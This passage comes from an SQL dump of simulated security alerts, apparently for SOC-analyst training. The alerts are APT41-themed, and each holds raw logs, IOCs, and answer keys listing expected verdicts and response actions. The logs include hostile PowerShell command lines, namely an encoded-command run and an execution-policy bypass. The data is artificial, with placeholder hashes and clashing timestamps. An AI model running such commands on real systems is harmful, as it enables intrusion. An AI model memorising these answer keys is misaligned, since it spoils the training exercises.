activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash recognized as part of a ransomware payload\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"encryptor_v2.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Database\",\"verdict\":\"suspicious\",\"details\":\"Unrecognized script executed on high-value server\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Valid user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(415, 'Persistence Mechanism Activated', 'high', 'SIEM', 'The attackers have implemented persistence mechanisms, such as scheduled tasks and registry modifications, to ensure they can regain access even if initial efforts are disrupted. A suspicious scheduled task and registry key modification were detected on the host machine. This activity aligns with known APT41 tactics.', 'Persistence', 'T1053 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:34Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.50\",\"username\":\"jdoe\",\"scheduled_task\":\"UpdateCheck\",\"registry_key\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"filename\":\"Updater.exe\",\"action\":\"Task Created\",\"description\":\"A new scheduled task \'UpdateCheck\' was created with a malicious binary associated with APT41.\",\"os\":\"Windows 10\"}', '2026-01-04 04:11:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT41 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal corporate network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious executable used by APT41.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Updater.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection System\",\"verdict\":\"malicious\",\"details\":\"Executable linked to persistence mechanism.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account used in previous suspicious activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.020Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:34Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"scheduled_task\\\":\\\"UpdateCheck\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"filename\\\":\\\"Updater.exe\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A new scheduled task \'UpdateCheck\' was created with a malicious binary associated with APT41.\\\",\\\"os\\\":\\\"Windows 10\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.020Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:34Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"scheduled_task\\\":\\\"UpdateCheck\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"filename\\\":\\\"Updater.exe\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A new scheduled task \'UpdateCheck\' was created with a malicious binary associated with APT41.\\\",\\\"os\\\":\\\"Windows 10\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.020Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:34Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"scheduled_task\\\":\\\"UpdateCheck\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"filename\\\":\\\"Updater.exe\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A new scheduled task \'UpdateCheck\' was created with a malicious binary associated with APT41.\\\",\\\"os\\\":\\\"Windows 10\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.020Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:34Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"scheduled_task\\\":\\\"UpdateCheck\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"filename\\\":\\\"Updater.exe\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A new scheduled task \'UpdateCheck\' was created with a malicious binary associated with APT41.\\\",\\\"os\\\":\\\"Windows 10\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.020Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:34Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"scheduled_task\\\":\\\"UpdateCheck\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"filename\\\":\\\"Updater.exe\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A new scheduled task \'UpdateCheck\' was created with a malicious binary associated with APT41.\\\",\\\"os\\\":\\\"Windows 10\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(416, 'Lateral Movement Detected', 'high', 'User and Entity Behavior Analytics (UEBA)', 'APT41 is utilizing stolen credentials to move laterally across the network, targeting sensitive systems. This activity is characteristic of espionage operations and poses a significant threat to the organization\'s critical infrastructure.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:05Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.15\",\"username\":\"jdoe_admin\",\"event_type\":\"lateral_movement\",\"event_description\":\"Suspicious lateral movement detected using stolen credentials\",\"malware_hash\":\"b6a9e7d3c569a7b9d8970e1ab5ec9a8f\",\"filename\":\"APT41_Tool.exe\",\"observed_activity\":[{\"action\":\"login_attempt\",\"result\":\"success\",\"target_system\":\"10.0.5.15\"},{\"action\":\"file_access\",\"result\":\"success\",\"file\":\"Sensitive_Data.xlsx\"}]}', '2026-01-04 04:11:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known APT41 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalLogs\",\"verdict\":\"internal\",\"details\":\"Critical system targeted for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalLogs\",\"verdict\":\"suspicious\",\"details\":\"Potentially compromised account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b6a9e7d3c569a7b9d8970e1ab5ec9a8f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with APT41 lateral movement tools.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"APT41_Tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDB\",\"verdict\":\"malicious\",\"details\":\"APT41 malicious tool for network penetration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.021Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.15\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"event_type\\\":\\\"lateral_movement\\\",\\\"event_description\\\":\\\"Suspicious lateral movement detected using stolen credentials\\\",\\\"malware_hash\\\":\\\"b6a9e7d3c569a7b9d8970e1ab5ec9a8f\\\",\\\"filename\\\":\\\"APT41_Tool.exe\\\",\\\"observed_activity\\\":[{\\\"action\\\":\\\"login_attempt\\\",\\\"result\\\":\\\"success\\\",\\\"target_system\\\":\\\"10.0.5.15\\\"},{\\\"action\\\":\\\"file_access\\\",\\\"result\\\":\\\"success\\\",\\\"file\\\":\\\"Sensitive_Data.xlsx\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:31:19.021Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.15\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"event_type\\\":\\\"lateral_movement\\\",\\\"event_description\\\":\\\"Suspicious lateral movement detected using stolen credentials\\\",\\\"malware_hash\\\":\\\"b6a9e7d3c569a7b9d8970e1ab5ec9a8f\\\",\\\"filename\\\":\\\"APT41_Tool.exe\\\",\\\"observed_activity\\\":[{\\\"action\\\":\\\"login_attempt\\\",\\\"result\\\":\\\"success\\\",\\\"target_system\\\":\\\"10.0.5.15\\\"},{\\\"action\\\":\\\"file_access\\\",\\\"result\\\":\\\"success\\\",\\\"file\\\":\\\"Sensitive_Data.xlsx\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:30:19.021Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.15\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"event_type\\\":\\\"lateral_movement\\\",\\\"event_description\\\":\\\"Suspicious lateral movement detected using stolen credentials\\\",\\\"malware_hash\\\":\\\"b6a9e7d3c569a7b9d8970e1ab5ec9a8f\\\",\\\"filename\\\":\\\"APT41_Tool.exe\\\",\\\"observed_activity\\\":[{\\\"action\\\":\\\"login_attempt\\\",\\\"result\\\":\\\"success\\\",\\\"target_system\\\":\\\"10.0.5.15\\\"},{\\\"action\\\":\\\"file_access\\\",\\\"result\\\":\\\"success\\\",\\\"file\\\":\\\"Sensitive_Data.xlsx\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:29:19.021Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.15\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"event_type\\\":\\\"lateral_movement\\\",\\\"event_description\\\":\\\"Suspicious lateral movement detected using stolen credentials\\\",\\\"malware_hash\\\":\\\"b6a9e7d3c569a7b9d8970e1ab5ec9a8f\\\",\\\"filename\\\":\\\"APT41_Tool.exe\\\",\\\"observed_activity\\\":[{\\\"action\\\":\\\"login_attempt\\\",\\\"result\\\":\\\"success\\\",\\\"target_system\\\":\\\"10.0.5.15\\\"},{\\\"action\\\":\\\"file_access\\\",\\\"result\\\":\\\"success\\\",\\\"file\\\":\\\"Sensitive_Data.xlsx\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:28:19.021Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.15\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"event_type\\\":\\\"lateral_movement\\\",\\\"event_description\\\":\\\"Suspicious lateral movement detected using stolen credentials\\\",\\\"malware_hash\\\":\\\"b6a9e7d3c569a7b9d8970e1ab5ec9a8f\\\",\\\"filename\\\":\\\"APT41_Tool.exe\\\",\\\"observed_activity\\\":[{\\\"action\\\":\\\"login_attempt\\\",\\\"result\\\":\\\"success\\\",\\\"target_system\\\":\\\"10.0.5.15\\\"},{\\\"action\\\":\\\"file_access\\\",\\\"result\\\":\\\"success\\\",\\\"file\\\":\\\"Sensitive_Data.xlsx\\\"}]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(417, 'Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP)', 'In the final stage, the attackers attempt to exfiltrate valuable data to an external server, intending to use it for espionage purposes or to sell on the black market.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"185.92.220.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"user\":\"jdoe\",\"file_name\":\"confidential_report.pdf\",\"file_hash\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"action\":\"blocked\",\"alert_id\":\"DLPA123456\",\"tool_used\":\"CCleaner Supply Chain\",\"severity\":\"High\"}', '2026-01-04 04:11:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known exfiltration server used by APT41.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host involved in the data exfiltration attempt.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash associated with unauthorized data transfer attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.022Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"185.92.220.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLPA123456\\\",\\\"tool_used\\\":\\\"CCleaner Supply Chain\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.022Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"185.92.220.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLPA123456\\\",\\\"tool_used\\\":\\\"CCleaner Supply Chain\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.022Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"185.92.220.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLPA123456\\\",\\\"tool_used\\\":\\\"CCleaner Supply Chain\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.022Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"185.92.220.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLPA123456\\\",\\\"tool_used\\\":\\\"CCleaner Supply Chain\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.022Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"185.92.220.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLPA123456\\\",\\\"tool_used\\\":\\\"CCleaner Supply Chain\\\",\\\"severity\\\":\\\"High\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(418, 'Phishing Email Detected', 'medium', 'Email Gateway Logs', 'A phishing email was detected originating from a known malicious IP address, targeting employees to harvest credentials. The email contains a suspicious attachment and a link to a phishing site.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.45\",\"email_subject\":\"Urgent: Account Verification Required\",\"from_address\":\"support@secure-mail.com\",\"to_address\":\"john.doe@company.com\",\"attachment_name\":\"invoice_0923.docx\",\"attachment_hash\":\"3f9d4ff4e12a3e47a9f7b1c256b4c033\",\"phishing_url\":\"http://malicious-verify-login.com\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36\"}', '2026-01-04 04:13:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known phishing IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Company employee workstation\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f9d4ff4e12a3e47a9f7b1c256b4c033\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected in multiple AV engines\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-verify-login.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenPhish\",\"verdict\":\"malicious\",\"details\":\"Active phishing site\"}},{\"id\":\"artifact_5\",\"type\":\"email\",\"value\":\"support@secure-mail.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation\",\"verdict\":\"suspicious\",\"details\":\"Spoofed email address\"}},{\"id\":\"artifact_6\",\"type\":\"filename\",\"value\":\"invoice_0923.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Analysis\",\"verdict\":\"malicious\",\"details\":\"Contains macro with credential-stealing capabilities\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-02-01T20:32:19.024Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(419, 'Malware Execution Alert', 'high', 'Endpoint Detection and Response (EDR)', 'The threat actors have successfully deployed malware on the compromised system to execute code that establishes a foothold within the network. This step follows the acquisition of valid credentials.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-18T14:22:35Z\",\"event_type\":\"execution\",\"source\":\"EDR\",\"host_ip\":\"192.168.1.15\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\\\Temp\\\\malicious.ps1\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"username\":\"jdoe\",\"attacker_ip\":\"203.0.113.89\"}', '2026-01-04 04:13:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"public_records\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with previous attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Malware hash identified in multiple threat databases.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to establish foothold within the 